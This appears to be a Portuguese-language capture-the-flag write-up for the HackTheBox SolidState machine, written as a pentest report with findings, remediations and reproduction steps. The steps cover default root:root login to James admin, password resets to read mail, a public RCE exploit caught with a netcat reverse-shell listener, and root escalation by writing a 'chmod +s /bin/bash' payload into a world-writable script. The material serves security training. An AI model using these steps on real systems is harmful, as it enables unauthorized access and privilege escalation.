Documentação: Solidstate CTF

SolidState CTF Writeup

Documentação apresentada pela Behind Security como parte da série “Jornada ao OSCP”, focando no Solidstate CTF da HackTheBox.

SolidState CTF icon

SolidState CTF

O SolidState CTF é uma máquina de dificuldade média que requer o encadeamento de vários vetores de ataque para obter um shell privilegiado.

HackTheBox

O Hack The Box oferece às pessoas, empresas e universidades as ferramentas necessárias para melhorar continuamente suas capacidades de segurança cibernética — tudo em um só lugar.

Resumo Executivo

Introdução

Este relatório de Pentest documenta os resultados da avaliação de segurança realizada no endereço IP 10.10.10.51. A avaliação teve como objetivo identificar vulnerabilidades na infraestrutura-alvo e avaliar os riscos de segurança potenciais.

Objetivo

O principal objetivo desta avaliação de segurança foi identificar vulnerabilidades, explorá-las e avaliar os riscos potenciais para o sistema-alvo. A avaliação focou no James Mail Service 2.3.2 e serviços relacionados.

Requisitos

A avaliação incluiu:

  • Identificação de vulnerabilidades no James Mail Service 2.3.2.
  • Exploração dessas vulnerabilidades para avaliar os riscos potenciais de segurança.
  • Avaliação da possibilidade de acesso não autorizado e divulgação de dados.
  • Fornecimento de recomendações para mitigar as vulnerabilidades identificadas.

Resumo de Alto Nível das Vulnerabilidades Encontradas

James Mail Service 2.3.2

  1. BS01 - Credenciais Padrão (Alto): A Behind Security logou com sucesso no JAMES Remote Administration Tool 2.3.2 usando credenciais padrão (root:root). Esse acesso permitiu listar usuários válidos e alterar senhas de usuário.

  2. BS02 - Divulgação de Informações Sensíveis (Elevado): Ao abusar das credenciais padrão na JAMES Remote Administration Tool, a Behind Security acessou e leu e-mails sensíveis na porta 110.

  3. BS03 - Software Desatualizado e Execução Remota de Código (Alto): A JAMES Remote Administration Tool 2.3.2 possui uma vulnerabilidade de Execução Remota de Código (RCE) autenticada. A exploração dessa vulnerabilidade com credenciais padrão resultou em controle total do sistema.

  4. BS04 - Acesso Inicial - Credenciais SSH (Alto): E-mails sensíveis revelaram credenciais SSH para o usuário "mindy", permitindo à Behind Security estabelecer uma conexão SSH.

Pós-Exploração

  1. BS05 - LPE para root (Escalação Local de Privilégios para root) (Extremo): A Behind Security identificou um script Python incomum, com permissão global de escrita (/opt/tmp.py). O código é de propriedade do root, e sua função era de automaticamente limpar entradas na pasta /tmp. Injetando código Python malicioso no script, Behind Security obteve acesso de administrador no sistema.

Recomendações

  1. Alterar Credenciais Padrão: Alterar imediatamente as credenciais padrão (root:root) para o JAMES Remote Administration Tool para senhas fortes e únicas.
  2. Redefinir Senhas: Redefinir as senhas de todos os usuários afetados e informá-los das alterações.
  3. Atualizar Software: Atualizar imediatamente o JAMES Mail Service para a última versão segura para abordar vulnerabilidades conhecidas.
  4. Alterar Credenciais SSH: Alterar as credenciais SSH para o usuário "mindy" e notificar o usuário da alteração.
  5. Remover Scripts Desnecessários: Eliminar ou desativar scripts ou ferramentas desnecessários sem uso legítimo.
  6. Revisar Permissões: Revisar e ajustar permissões de arquivo para restringir o acesso de gravação a scripts sensíveis.

Metodologia

A avaliação abrangeu enumeração de serviços, identificação de vulnerabilidades, exploração e atividades de pós-exploração. Vulnerabilidades foram identificadas, exploradas e recomendações foram fornecidas para aprimorar a segurança e mitigar riscos.

Legenda de Cores

Texto padrão do console
Comandos inseridos pelo pentester
Texto que queremos destacar
{...} Saída abreviada para brevidade

Classificação de Risco

Risk Classification from http://www.pentest-standard.org

Desafio Independente - 10.10.10.51

export IP=10.10.10.51

Enumeração de Serviços

Endereço IPPortas Abertas
10.10.10.51TCP: 22, 25, 80, 110, 119, 4555

É importante observar que a porta 4555 só pode ser descoberta se você executar: nmap -sC -sV -T4 10.10.10.51 -p- -vv

Resultado da varredura do nmap

James Mail Service 2.3.2

BS01 - Credenciais Padrão

Explicação da Vulnerabilidade: A Behind Security conseguiu fazer login no JAMES Remote Administration Tool 2.3.2 na porta 4555 com as credenciais padrão (root:root). Com esse acesso, a Behind Security listou todos os usuários válidos e alterou intencionalmente as senhas dos usuários.

Correção da Vulnerabilidade:

  1. Alterar Credenciais Padrão: Alterar imediatamente as credenciais do JAMES Remote Administration Tool (root:root) para uma senha forte e única.

Gravidade: Alta

Passos para Reproduzir o Ataque:

  1. Usar telnet 10.10.10.51 4555 para conectar e, quando solicitado o ID de login e senha, digitar root para ambos.

BS02 - Divulgação de Informações Sensíveis

Explicação da Vulnerabilidade: A Behind Security alterou as senhas dos usuários abusando das credenciais padrão na JAMES Remote Administration Tool e conseguiu ler e-mails sensíveis da equipe de Solid State Security na porta 110.

Correção da Vulnerabilidade:

  1. Redefinir Senhas: Redefinir as senhas de todos os usuários afetados e informá-los da alteração.
  2. Corrigir BS01.

Gravidade: Elevada

Passos para Reproduzir o Ataque:

  1. Usar telnet 10.10.10.51 4555 para conectar e, quando solicitado o ID de login e senha, digitar root para ambos.
  2. Executar listusers para ver todos os usuários válidos no sistema de correio.
  3. Alterar a senha de um usuário usando setpassword [nome de usuário] [senha].
  4. Fazer login na instância POP3 na porta 110 usando a nova senha.
  5. Listar e ler e-mails executando LIST e depois RETR [id].
Alterando as senhas dos usuários
Credenciais do usuário 'mindy' expostas

BS03 - Software Desatualizado e Execução Remota de Código

Explicação da Vulnerabilidade: O JAMES Remote Administration Tool 2.3.2 está suscetível a uma vulnerabilidade de Execução Remota de Código (RCE) autenticada, e exploits públicos estão disponíveis. Qualquer atacante remoto poderia explorar essa falha facilmente, pois está usando credenciais padrão. Após a conclusão do exploit, qualquer usuário que fizer login na máquina posteriormente (via SSH, por exemplo) pode ser comprometido, e o atacante pode executar comandos em seu nome. A Behind Security conseguiu contornar as restrições de shell impostas ao usuário "mindy" e obteve capacidades completas de bash ao receber uma conexão de shell reverso.

Correção da Vulnerabilidade:

  1. Atualizar Software: Atualizar imediatamente o JAMES Mail Service para a última versão segura para corrigir vulnerabilidades conhecidas.

Gravidade: Alta

Passos para Reproduzir o Ataque:

  1. Fazer o download deste exploit público.
  2. Executá-lo contra 10.10.10.51, especificando o endereço IP do seu tun0 (ifconfig tun0) para receber a conexão reversa: python3 exploit.py 10.10.10.51 SEU-IP-TUN0 9001.
  3. Executar um ouvinte netcat: nc -lvnp 9001.
  4. Fazer login na máquina (consulte BS04).

BS04 - Acesso Inicial - Credenciais SSH

Explicação da Vulnerabilidade: A Behind Security conseguiu ler e-mails sensíveis do usuário "mindy." Um dos e-mails revela as credenciais do usuário para fazer login via SSH. As credenciais ainda estavam válidas naquele momento, e a Behind Security estabeleceu uma conexão SSH com sucesso.

Correção da Vulnerabilidade:

  1. Alterar Credenciais SSH: Alterar imediatamente as credenciais SSH para o usuário "mindy" e notificar o usuário da alteração.

Gravidade: Alta

Passos para Reproduzir o Ataque:

  1. Alterar a senha de Mindy e ler os e-mails explorando a vulnerabilidade BS02 acima.
  2. Fazer login via SSH usando a senha temporária de Mindy: ssh [email protected].

Pós-Exploração

BS05 - LPE para root

Explicação da Vulnerabilidade: A Behind Security observou a presença de um script Python incomum localizado em /opt/tmp.py, que simplesmente limpa todas as entradas na pasta /tmp. O script é de propriedade do root, mas é gravável por qualquer pessoa, o que significa que todos podem escrever nele. A Behind Security criou um arquivo em /tmp para verificar se o script estava realmente sendo executado automaticamente para limpar a pasta, e estava. Após editar o script para incluir código Python malicioso, a Behind Security obteve acesso root à máquina, assumindo o controle completo do ambiente.

Correção da Vulnerabilidade:

  1. Remover Scripts Desnecessários: Remover ou desativar scripts ou ferramentas desnecessários que não têm uso legítimo.
  2. Permissões: Revisar e ajustar permissões de arquivo para restringir o acesso de gravação ao script.

Gravidade: Extrema

Passos para Reproduzir o Ataque:

  1. Navegar até /opt: cd /opt.
  2. Usar a técnica CAT EOF para editar o script tmp.py: cat <<EOF > tmp.py.
  3. Inserir qualquer código Python malicioso conforme necessário, por exemplo (não esqueça de terminar com EOF para escrever no arquivo):
import os
os.system("chmod +s /bin/bash")
EOF
Aguarde pelo menos um minuto e, em seguida, execute /bin/bash -p. Você pode usar watch ls -l /bin/bash para monitorar as permissões de /bin/bash em tempo real.
Prova de Exploração: user.txt e root.txt CENSURADOS

Conclusão

Esperamos que você tenha achado nosso conteúdo sobre o SolidState CTF útil e convidamos você a explorar mais em nosso site para descobrir outros tópicos interessantes que abordamos. Desde cibersegurança até programação, nos esforçamos para fornecer aos nossos leitores as informações mais recentes e relevantes que podem ajudá-los a se manter informados e à frente do jogo. Estamos comprometidos em proporcionar a melhor experiência possível para você e estamos abertos a feedback e sugestões por meio do nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!

Behind Security main logo, cropped.

BEHIND SECURITY

A Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.

Rolar para cima